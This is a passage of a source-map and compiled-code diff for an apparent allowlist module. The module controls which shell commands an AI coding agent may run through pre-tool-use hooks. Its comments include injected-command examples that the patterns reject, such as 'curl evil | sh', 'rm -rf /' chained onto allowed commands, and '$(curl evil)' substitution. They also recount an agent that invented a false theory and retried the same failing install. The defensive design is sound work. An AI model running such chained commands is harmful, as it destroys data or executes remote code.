RegExp(CD_PREFIX_JS_ANCHORED + SYNC_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale\n// below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —\n// like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the\n// guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under\n// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.\n// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).\nconst UPGRADE_SHIM_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + UPGRADE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst UPGRADE_SHIM_BODY_JS = '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + UPGRADE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.\nexport const UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';\n\n// The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):\n// the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in\n// @webpieces/ai-hook-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the\n// repos that can hit this, since node_modules is what the shim compares itself against — got\n// \"command not found\" and was left with a hard block and no working cure. In the reporter's words, the\n// message gave \"ZERO information\" on how to actually fix it.\n//\n// A plain `cp` of the installed template over the committed shim has none of that version coupling:\n// templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit\n// test), which is exactly what the binary's committedShimStale() compares the committed shim against;\n// cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.\n// It cures the block on any version, old or new —\n// which is why the deny now leads with it and only mentions the bin as the newer equivalent.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are\n// literal webpieces-owned paths — so no other file can be read or written and no operator can ride\n// along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).\nconst RESTORE_SHIM_BODY_ERE =\n 'cp[[:space:]]+(\\\\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\\\\.sh[[:space:]]+(\\\\./)?\\\\.claude/webpieces/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RESTORE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst RESTORE_SHIM_BODY_JS =\n 'cp\\\\s+(\\\\.\\\\/)?node_modules\\\\/@webpieces\\\\/ai-hook-rules\\\\/templates\\\\/ai-hook\\\\.sh\\\\s+(\\\\.\\\\/)?\\\\.claude\\\\/webpieces\\\\/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RESTORE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.\nexport const RESTORE_SHIM_CMD =\n 'cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';\n\n// The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.\n//\n// `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the\n// shim's own header line names it as the managing command), and install-entry.ts calls healShim()\n// FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it\n// re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and\n// it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.\n// That combination — always present AND a named bin rather than a raw file overwrite — is why the deny\n// now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier\n// treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.\n//\n// FLAGS ARE ACCEPTED. The installer's non-interactive spelling is `--target=project`, and a pattern that\n// accepted no flags at all made it untypable — the same deadlock shape as the missing `2>&1 | tail` and\n// the missing `cd` prefix: a deny naming a command the allowlist rejects. The flag token is the identical\n// one INSTALLER_BODY_ERE already allows — `--word` / `--word=value`, no whitespace, no operator — so it\n// widens nothing else: `pnpm wp-install-ai-hooks --target=project && rm -rf /` still FAILS CLOSED.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, bare bin name plus `--flag` tokens\n// only, so no shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS (locked by a unit test).\nconst INSTALL_HOOKS_BODY_ERE =\n '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst INSTALL_HOOKS_BODY_JS =\n '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-install-ai-hooks(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// READ-ONLY ORIENTATION — the 2026-08-03 \"where am I standing?\" deadlock.\n//\n// Every entry above is a CURE. None of them tells you WHICH TREE you are in, and that is the one thing\n// an agent has to know before a cure can work. The incident: an agent worked in a linked worktree while\n// the drift fault (D) was measured against the PRIMARY clone ($CLAUDE_PROJECT_DIR). Its `pnpm install`\n// ran in the worktree, succeeded, and changed nothing in the tree being measured, so the block never\n// lifted. It could not run `pwd` — read-only bash was not on this list at all — so it could not see the\n// discrepancy, invented a false theory (\"the harness is stripping my `cd` prefix\"), burned five\n// identical installs and handed the problem back to the human. One allowed `pwd` ends that on attempt\n// one.\n//\n// So this entry is not a cure, it is the DIAGNOSIS the cures depend on: where am I (`pwd`,\n// `git rev-parse --show-toplevel`), which tree is this (`git worktree list`), which branch and what\n// state (`git status`, `git branch`, `git log`, `git diff`, `git show`). All local, all read-only, none\n// of them touching the network or the working tree. The sibling guard merged-branch-bash-guard already\n// permits `git status|log|diff|show|branch`, so this is the policy that already exists, applied one\n// layer out.\n//\n// THE `git worktree` TRAP. `git worktree add|remove|prune|move|repair` all MUTATE, and `git worktree`\n// is the ONLY multi-word subcommand here — which is exactly why it gets its own alternative pinned to\n// the LITERAL word `list` rather than joining the single-word set. A bare `git worktree` matches\n// nothing, and no other subcommand can reach the accepted branch. Deny cases for `add`/`remove` are\n// explicit in shim-drift.spec.ts.\n//\n// Kept at exactly the tightness of SYNC_BODY_ERE — the same argument token, `--flag` or a bare word\n// from a character class holding no shell metacharacter — so nothing can ride along: `pwd; curl evil |\n// sh`, `git status && rm -rf /`, `git log $(curl evil)` and `git status | sh` all FAIL CLOSED. Note the\n// subcommand word must follow `git` IMMEDIATELY: `git -c core.pager=evil status` and `git -C /other\n// status` stay denied, the same property the sync entry has.\n// Keep in sync with ORIENT_ALLOW_JS below (locked by a unit test).\nconst ORIENT_BODY_ERE =\n '(pwd|git[[:space:]]+(status|log|diff|show|branch|rev-parse)|git[[:space:]]+worktree[[:space:]]+list)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const ORIENT_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + ORIENT_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of ORIENT_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst ORIENT_BODY_JS =\n '(pwd|git\\\\s+(status|log|diff|show|branch|rev-parse)|git\\\\s+worktree\\\\s+list)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._\\\\/@:-]*)*';\nexport const ORIENT_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + ORIENT_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The command the incident turned on: the agent could not ask which tree it was standing in.\nexport const ORIENT_CMD = 'pwd';\n\n// The exact command the self-guard's deny names FIRST. Present in every release that has a shim.\nexport const INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';\n\n// The non-interactive spelling of the FULL install (config + CI gate + hook wiring): the `--target`\n// flag is what replaces the interactive prompt. `--flag=value` is accepted by the same token\n// INSTALLER_BODY_ERE uses, so this spelling is pinned as a sample rather than given its own pattern.\nexport const INSTALL_HOOKS_TARGET_CMD = 'pnpm wp-install-ai-hooks --target=project';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — one list, consulted identically by every tooling-integrity fault.\n//\n// L0 is the outermost layer: it blocks work while node_modules, the committed shim, or\n// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. Its six faults are\n// D version drift (sh, before the bin runs) S committed shim != renderShim() (bin)\n// X bin missing (sh) C webpieces.config.json missing (bin)\n// K bin present, crashed (sh) Y a loaded rule has no config key (bin)\n//\n// Drawn as a decision matrix, L0 has NO genuine second dimension. Every branch reduces to\n// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))\n// and the only thing that varies per fault is the MESSAGE. The applicability of each cure used to vary\n// too, but that variation was an accident of which code path a fault happened to be detected in, and it\n// cost four real defects:\n// - under S, `pnpm install` was denied — so when node_modules is the STALE side, every permitted cure\n// wrote the OLD binary's renderShim() over a NEWER committed shim, silently reverting a commit.\n// - under S, `git pull` was denied — the only cure when the CHECKOUT is the stale side.\n// - under D/X/K, every Read was denied — no way to inspect, not even the config that disables it.\n// - under C/Y, `rm -rf node_modules && pnpm install` was denied while a bare `pnpm install` passed.\n// All four disappear by consulting ONE list. See webpieces.guard-matrix.md for the rendered table.\n//\n// Composed from the BODY of each cure above so there is exactly one copy of every pattern: the six\n// named exports stay the vocabulary (and keep their own tests), this union is the decision.\n//\n// L0_ALLOWLIST is that list as DATA — the one array isAllowed(), the rendered shim's grep and the\n// published matrix doc (webpieces.guard-matrix.md) all derive from, so the doc cannot describe an\n// allowlist the code does not have. Adding an entry here is the ONLY way to widen L0.\n// ---------------------------------------------------------------------------\n\n/** One tool call as L0 judges it: the tool name, the Bash command (or ''), the file target (or ''). */\nexport class L0Call {\n constructor(\n readonly toolName: string,\n readonly command: string,\n readonly filePath: string,\n ) {}\n}\n\n/**\n * One entry of THE L0 allowlist. Data-only → a class, per CLAUDE.md.\n *\n * `ere`/`js` are the twin regex BODIES for a Bash entry, or null for a tool-shaped entry (Read, the\n * webpieces.config.json target) that no regex can express. `sample` is a call this entry must accept —\n * it is what the matrix-coverage and cure-reachability tests drive isAllowed() with.\n *\n * `extraSamples` pins ADDITIONAL spellings the same entry must accept. A spelling that some deny\n * message prescribes belongs here, or nothing stops a later tightening of the pattern from making that\n * message's cure untypable again — which is the deadlock shape this whole module exists to prevent.\n *\n * `cure` is the ONE thing that is not uniform across the list, and it is not about L0 at all — see\n * L0_CURE_ALLOW_JS below. Every entry is judged identically while an L0 fault is up; `cure` decides\n * only whether the entry ALSO bypasses the downstream (L1) guards on a HEALTHY tree.\n */\nexport class L0AllowEntry {\n // eslint-disable-next-line @typescript-eslint/max-params\n constructor(\n readonly label: string,\n readonly kind: 'pass' | 'allow',\n /**\n * True when this entry REPAIRS the tooling (install, sync, shim restore). A cure has to run\n * before webpieces.config.json can even be loaded, so it bypasses everything, always. A\n * non-cure (read-only orientation) is allowed while a fault is up and is otherwise an ordinary\n * command the downstream guards still judge.\n */\n readonly cure: boolean,\n readonly ere: string | null,\n readonly js: string | null,\n readonly sample: L0Call,\n readonly extraSamples: readonly L0Call[] = [],\n ) {}\n\n /** Every call this entry pins: the canonical sample plus every extra spelling. */\n allSamples(): readonly L0Call[] {\n return [this.sample, ...this.extraSamples];\n }\n}\n\nexport const L0_ALLOWLIST: readonly L0AllowEntry[] = [\n new L0AllowEntry('any Read', 'pass', false, null, null, new L0Call('Read', '', 'README.md')),\n new L0AllowEntry(`a Write/Edit whose target is ${CONFIG_FILENAME}`, 'pass', false, null, null,\n new L0Call('Edit', '', `/repo/${CONFIG_FILENAME}`)),\n new L0AllowEntry('pnpm|npm install', 'allow', true, INSTALLER_BODY_ERE, INSTALLER_BODY_JS,\n new L0Call('Bash', 'pnpm install', '')),\n new L0AllowEntry(`${RECOVERY_CMD} - the cure for a CORRUPT node_modules`, 'allow', true, RECOVERY_BODY_ERE, RECOVERY_BODY_JS,\n new L0Call('Bash', RECOVERY_CMD, '')),\n // webpieces-disable no-fetch -- prose naming the git sync commands in a doc label, not an HTTP call\n new L0AllowEntry('git pull / git fetch - merge is NOT on the list', 'allow', true, SYNC_BODY_ERE, SYNC_BODY_JS,\n new L0Call('Bash', 'git pull', '')),\n new L0AllowEntry(UPGRADE_SHIM_CMD, 'allow', true, UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS,\n new L0Call('Bash', UPGRADE_SHIM_CMD, '')),\n new L0AllowEntry(RESTORE_SHIM_CMD, 'allow', true, RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS,\n new L0Call('Bash', RESTORE_SHIM_CMD, '')),\n new L0AllowEntry(`${INSTALL_HOOKS_CMD} (flags allowed, e.g. --target=project)`, 'allow', true, INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS,\n new L0Call('Bash', INSTALL_HOOKS_CMD, ''),\n [new L0Call('Bash', INSTALL_HOOKS_TARGET_CMD, '')]),\n // NOT a cure (`cure: false`): it repairs nothing, so it must not bypass the L1 guards on a healthy\n // tree — `git status` from a subdirectory still meets force-to-root. It is on the L0 list because\n // while a fault is UP you have to be able to see where you are standing.\n new L0AllowEntry(\n 'read-only orientation: pwd, git status/log/diff/show/branch/rev-parse, git worktree list',\n 'allow', false, ORIENT_BODY_ERE, ORIENT_BODY_JS,\n new L0Call('Bash', ORIENT_CMD, ''),\n [\n new L0Call('Bash', 'git rev-parse --show-toplevel', ''),\n new L0Call('Bash', 'git worktree list', ''),\n new L0Call('Bash', 'git status', ''),\n ]),\n];\n\nconst L0_BODIES_ERE = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.ere === null ? [] : [e.ere]));\nconst L0_BODIES_JS = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.js === null ? [] : [e.js]));\n\n// The ONE Bash allowlist. Anchored and tailed exactly like each individual hatch, so it inherits every\n// security property: no shell operator can ride along, and only the optional leading `cd <path> &&` /\n// trailing `2>&1 | tail -N` are tolerated.\nexport const L0_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + '(' + L0_BODIES_ERE.join('|') + ')' + CAPTURE_TAIL_ERE;\n\n// L0_ALLOW_ERE as it must be SPELLED inside a single-quoted sh string — i.e. the exact bytes the\n// rendered shim carries in `grep -Eq '<here>'`.\n//\n// It exists because CD_PREFIX_ERE now contains a literal `'` (the single-quoted-path branch), and a\n// `'` inside a single-quoted sh word ENDS the word. The standard cure is the `'\\''` dance: close the\n// quote, emit an escaped literal quote, reopen. Splicing the raw ERE would produce a shim that is not\n// even valid sh, which is why this conversion lives here beside the pattern rather than in the\n// renderer — the pattern and its sh spelling must never be able to drift apart.\nexport const L0_ALLOW_ERE_SH = L0_ALLOW_ERE.split(\"'\").join(`'\\\\''`);\n\n// JS twin of L0_ALLOW_ERE. A unit test asserts the two agree on a shared sample set.\nexport const L0_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n// The CURE subset of the same list — the entries that REPAIR the tooling.\n//\n// This is not a second allowlist and it is not an L0 concept. It exists because runner.ts consults the\n// L0 patterns in a place where NO fault has been established: ahead of loading webpieces.config.json,\n// so that a config the installed validator cannot parse (or one that is a release AHEAD of it) cannot\n// trap the `pnpm install` that fixes exactly that. That bypass skips every L1 guard as well, which is\n// correct for a repair command and WRONG for anything else.\n//\n// So when read-only orientation joined the list, it had to join it as a NON-cure. Otherwise adding\n// `pwd` would silently have switched off force-to-root for `git status`, `git log` and `git diff` on a\n// perfectly healthy repo — a guard deleted as a side effect of a diagnostic. Under an actual fault\n// isAllowed() still answers for the WHOLE list, orientation included; the split changes nothing there.\nconst L0_CURE_BODIES_JS = L0_ALLOWLIST.flatMap(\n (e: L0AllowEntry): string[] => (e.js === null || !e.cure ? [] : [e.js]));\nexport const L0_CURE_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_CURE_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n// The non-Bash half of the same list, kept here so sh and JS answer the identical question.\n//\n// `Read` is on the list because you must be able to READ to know how to fix — the original\n// block-everything-but-the-cures version deadlocked a repo that also needed its config fixed. Note the\n// asymmetry this creates and why it is accepted: under S/C/Y the bin IS running, so an allowed Read\n// falls THROUGH to read-stale-guard and stale-main protection still holds; under D/X/K the bin is never\n// executed, so there is nothing to fall through to and the Read is genuinely unguarded. Narrowing this\n// entry to a path pattern is the fix for that, and is deliberately left for a follow-up.\nexport const READ_TOOLS: ReadonlySet<string> = new Set(['Read']);\n\n/**\n * `isAllowed(call)` — THE L0 allowlist, with no fault parameter. See the block comment above.\n *\n * Returns the OUTCOME KIND, because the two are not the same thing:\n * - 'pass' → L0 has no objection; fall THROUGH so L1/L2 still judge this call (Read, config edit).\n * - 'allow' → terminal; bypass everything, because a cure must stay reachable even when a downstream\n * guard would block it.\n * - null → not on the list.\n */\n// webpieces-disable no-function-outside-class -- pure predicate over the exported allowlist data, in the dependency-free shim module (it must load on a corrupt tree, so it cannot depend on DI)\nexport function isAllowed(toolName: string, command: string, filePath: string): 'pass' | 'allow' | null {\n if (READ_TOOLS.has(toolName)) return 'pass';\n if (path.basename(filePath) === CONFIG_FILENAME) return 'pass';\n if (L0_ALLOW_JS.test(command.trim())) return 'allow';\n return null;\n}\n"]}
@@ -44,6 +44,16 @@ export declare class ShimTestkit {
44
44
  * piping tool-payload JSON on stdin. spawnSync never throws on non-zero exit.
45
45
  */
46
46
  runShim(root: string, bin: string, stdin: string): ShimRun;
47
+ /**
48
+ * A repo root staged so the shim's VERSION-DRIFT check (fault D) fires: an installed guard bin, a
49
+ * declared @webpieces/pr-gate pin in package.json, and a different installed version in
50
+ * node_modules. The fake bin prints EXECED, so "the guards actually ran" is observable in stdout —
51
+ * pass matching versions to stage the no-drift case instead.
52
+ *
53
+ * Lives here rather than in one spec because two spec files now need the identical staging, and a
54
+ * second copy is a second definition of what "drift" means.
55
+ */
56
+ stageDriftRoot(declared: string, installed: string): string;
47
57
  /** A Bash tool payload, as Claude Code sends it on stdin. */
48
58
  bashPayload(command: string): string;
49
59
  /** A Read payload — the L0 allowlist entry that keeps a broken tree inspectable. */
@@ -83,6 +83,26 @@ class ShimTestkit {
83
83
  const r = (0, child_process_1.spawnSync)('/bin/sh', [shimAbs, bin], { cwd: subdir, input: stdin, encoding: 'utf8' });
84
84
  return new ShimRun(r.status, r.stdout, r.stderr);
85
85
  }
86
+ /**
87
+ * A repo root staged so the shim's VERSION-DRIFT check (fault D) fires: an installed guard bin, a
88
+ * declared @webpieces/pr-gate pin in package.json, and a different installed version in
89
+ * node_modules. The fake bin prints EXECED, so "the guards actually ran" is observable in stdout —
90
+ * pass matching versions to stage the no-drift case instead.
91
+ *
92
+ * Lives here rather than in one spec because two spec files now need the identical staging, and a
93
+ * second copy is a second definition of what "drift" means.
94
+ */
95
+ stageDriftRoot(declared, installed) {
96
+ const root = this.mktmp();
97
+ const binDir = path.join(root, 'node_modules', '.bin');
98
+ fs.mkdirSync(binDir, { recursive: true });
99
+ fs.writeFileSync(path.join(binDir, 'wp-ai-guards-hook'), '#!/bin/sh\nprintf EXECED\n', { mode: 0o755 });
100
+ fs.writeFileSync(path.join(root, 'package.json'), JSON.stringify({ dependencies: { '@webpieces/pr-gate': declared } }, null, 2) + '\n');
101
+ const manifestDir = path.join(root, 'node_modules', '@webpieces', 'pr-gate');
102
+ fs.mkdirSync(manifestDir, { recursive: true });
103
+ fs.writeFileSync(path.join(manifestDir, 'package.json'), JSON.stringify({ name: '@webpieces/pr-gate', version: installed }, null, 2) + '\n');
104
+ return root;
105
+ }
86
106
  /** A Bash tool payload, as Claude Code sends it on stdin. */
87
107
  bashPayload(command) {
88
108
  return JSON.stringify({ tool_name: 'Bash', tool_input: { command } });
@@ -1 +1 @@
1
- {"version":3,"file":"shim-testkit.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim-testkit.ts"],"names":[],"mappings":"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","sourcesContent":["import * as fs from 'fs';\nimport * as os from 'os';\nimport * as path from 'path';\nimport { spawnSync } from 'child_process';\nimport { renderShim } from './shim';\n\n/**\n * The shim's PreToolUse deny payload, as it prints it on stdout. Named (not an inline literal on the\n * JSON.parse cast) so the wire shape this testkit depends on is stated once, in one place.\n */\nexport class HookSpecificOutput {\n constructor(public readonly permissionDecisionReason: string) {}\n}\n\n/** The decision envelope wrapping {@link HookSpecificOutput}. */\nexport class PreToolUseDecision {\n constructor(public readonly hookSpecificOutput: HookSpecificOutput) {}\n}\n\n/** The outcome of one shim invocation. Data-only → a class, per CLAUDE.md. */\nexport class ShimRun {\n constructor(\n public readonly status: number | null,\n public readonly stdout: string,\n public readonly stderr: string,\n ) {}\n\n /** True when the shim emitted a PreToolUse deny. */\n isDenied(): boolean {\n return this.stdout.includes('\"permissionDecision\":\"deny\"');\n }\n\n /**\n * The deny REASON, parsed out of the PreToolUse JSON.\n * @throws if this run was not a deny (there is no reason to read).\n */\n denyReason(): string {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n const decision = JSON.parse(this.stdout) as PreToolUseDecision;\n return decision.hookSpecificOutput.permissionDecisionReason;\n }\n}\n\n/**\n * ShimTestkit — the shared harness for driving the rendered shim through a REAL /bin/sh.\n *\n * Extracted so setup.spec.ts and shim-drift.spec.ts drive the shim the SAME way instead of each\n * keeping its own copy: the shim's entire contract is \"what /bin/sh actually does with it\", so two\n * drifting harnesses would silently become two different contracts.\n *\n * An instance class (not module-scope functions) because this is normal source to the linter — only\n * *.spec.ts is exempt from no-function-outside-class, and a testkit should not need a disable comment\n * to exist.\n */\nexport class ShimTestkit {\n /** A throwaway repo root under the OS temp dir. */\n mktmp(): string {\n return fs.mkdtempSync(path.join(os.tmpdir(), 'wp-setup-'));\n }\n\n /**\n * Run the rendered shim exactly as Claude Code would: `sh <shim> <bin> ...`, from a repo cwd,\n * piping tool-payload JSON on stdin. spawnSync never throws on non-zero exit.\n */\n runShim(root: string, bin: string, stdin: string): ShimRun {\n // Place the shim at its REAL relative location (<root>/.claude/webpieces/ai-hook.sh) so its\n // self-location (`dirname $0/../..` → <root>) resolves the bin correctly. Run it from a SUBDIR\n // to prove it does not depend on the caller's cwd.\n const shimAbs = path.join(root, '.claude', 'webpieces', 'ai-hook.sh');\n 